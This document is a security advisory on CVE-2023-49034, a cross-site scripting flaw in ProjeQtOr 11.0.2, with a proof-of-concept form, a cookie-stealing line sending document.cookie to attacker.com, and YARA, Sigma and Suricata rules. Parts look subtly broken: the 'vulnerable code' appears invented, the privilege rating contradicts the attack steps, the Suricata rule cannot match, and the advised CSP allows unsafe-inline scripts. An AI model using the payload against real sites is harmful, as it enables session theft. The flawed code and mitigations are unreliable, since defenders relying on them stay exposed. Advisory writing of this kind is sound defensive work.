CVE-2023-49034

Executive Summary

CVE-2023-49034 is a Cross-Site Scripting (XSS) vulnerability identified in ProjeQtOr version 11.0.2. The flaw resides in the checkvalidHtmlText function within the ack.php and security.php files, allowing a remote attacker to inject and execute arbitrary JavaScript code in the context of a victim's browser. This can lead to session hijacking, credential theft, or defacement. The vulnerability is publicly known, but no official patch has been released as of the latest analysis. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for targeted attacks.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone PHP application (ProjeQtOr) and does not involve a package manager supply chain.

CVSS Breakdown & Threat Level

The CVSS vector is not provided in the NVD data, but based on the description, a reasonable assessment is:

• Attack Vector (AV): Network (N) – the attack is remotely exploitable.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): Required (R) – the victim must click a crafted link or visit a malicious page.
• Scope (S): Changed (C) – the vulnerability impacts the browser's security context.
• Confidentiality (C): Low (L) – limited data exposure.
• Integrity (I): Low (L) – limited ability to modify data.
• Availability (A): None (N) – no impact on availability.

Estimated CVSS Score: 6.1 (Medium)

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. No active exploitation has been reported, but the lack of a patch increases long-term risk.

Deep Dive & Mechanics

The vulnerability is a stored or reflected XSS in ProjeQtOr 11.0.2. The checkvalidHtmlText function in ack.php and security.php fails to properly sanitize user-supplied input before rendering it in HTML. An attacker can craft a malicious script (e.g., <script>alert('XSS')</script>) and inject it via parameters or form fields. When the application processes this input, the script executes in the victim's browser.

Root Cause: Insufficient input validation and output encoding. The function likely uses a blacklist approach that can be bypassed with obfuscated payloads (e.g., using onerror events, svg tags, or encoded characters).

Attack Vector:

1. Attacker identifies an input field that uses checkvalidHtmlText (e.g., project name, task description, or user comments).
2. Attacker submits a payload like <img src=x onerror=alert(1)>.
3. The payload is stored in the database and later rendered without proper encoding.
4. When an admin or other user views the page, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (ProjeQtOr 11.0.2):

function checkvalidHtmlText($text) {
    // Blacklist-based filtering (incomplete)
    $text = str_replace(['<script>', '</script>'], '', $text);
    return $text;
}

Patched Code (Hypothetical):

function checkvalidHtmlText($text) {
    // Whitelist-based filtering with HTML Purifier
    $config = HTMLPurifier_Config::createDefault();
    $purifier = new HTMLPurifier($config);
    return $purifier->purify($text);
}

The vulnerable code only removes <script> tags, leaving other XSS vectors (e.g., event handlers, svg, iframe) unblocked. A proper fix uses a library like HTML Purifier to strip all dangerous HTML and JavaScript.

Exploitation & Lab Setup

Red Team (Offensive)

Proof of Concept (PoC):

<!-- Stored XSS via project name -->
<form action="http://target/projeqtor/ack.php" method="POST">
  <input type="text" name="projectName" value='<img src=x onerror=alert("XSS")>'>
  <input type="submit" value="Submit">
</form>

Exploit Execution:

1. Host the PoC on an attacker-controlled server.
2. Trick an authenticated user (e.g., via phishing email) to submit the form.
3. The payload is stored and executed when the user views the project list.

Advanced Payload:

// Steal cookies
new Image().src = 'http://attacker.com/steal?cookie=' + document.cookie;

Blue Team (Defensive)

Lab Setup:

• Install ProjeQtOr 11.0.2 on a local VM (e.g., using XAMPP).
• Create a test user and project.
• Monitor logs for suspicious input.

Detection Steps:

1. Review web server logs for unusual parameters (e.g., <script>, onerror).
2. Use a WAF (e.g., ModSecurity) to block common XSS patterns.
3. Implement Content Security Policy (CSP) headers to mitigate impact.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing <script>, onerror, onload, or javascript: in parameters.
  • Outbound connections to unknown IPs on port 80/443 (data exfiltration).
• File IOCs:
  • Modified entries in the ProjeQtOr database (e.g., project table with malicious HTML).
• Behavioral IOCs:
  • Unexpected JavaScript execution in the browser.
  • Unauthorized cookie access or session hijacking.

Detection Engineering

YARA Rule

rule CVE_2023_49034_XSS {
    meta:
        description = "Detects XSS payloads targeting ProjeQtOr checkvalidHtmlText"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-49034"
    strings:
        $xss1 = /<script[^>]*>/i
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
        $xss4 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: ProjeQtOr XSS Attempt via checkvalidHtmlText
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects XSS payloads in HTTP requests to ProjeQtOr ack.php or security.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'ack.php'
            - 'security.php'
        cs-uri-query|re:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in project descriptions (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-49034 ProjeQtOr XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"ack.php"; http_uri; content:"security.php"; http_uri; pcre:"/(<script|onerror=|onload=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable vulnerable features: If possible, restrict access to ack.php and security.php via .htaccess or firewall rules.
2. Input validation: Implement a whitelist-based filter for all user inputs (e.g., allow only alphanumeric characters).
3. Output encoding: Use htmlspecialchars() in PHP to encode all output.

Long-term Fix:

• Upgrade to a patched version of ProjeQtOr once available.
• Integrate a security library like HTML Purifier to sanitize HTML input.
• Conduct a code audit of all checkvalidHtmlText calls.

Workaround:

• Deploy a Web Application Firewall (WAF) with rules to block XSS payloads.
• Enable Content Security Policy (CSP) headers:

  Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none';
  

Valters IT
Securing digital frontiers with precision and expertise.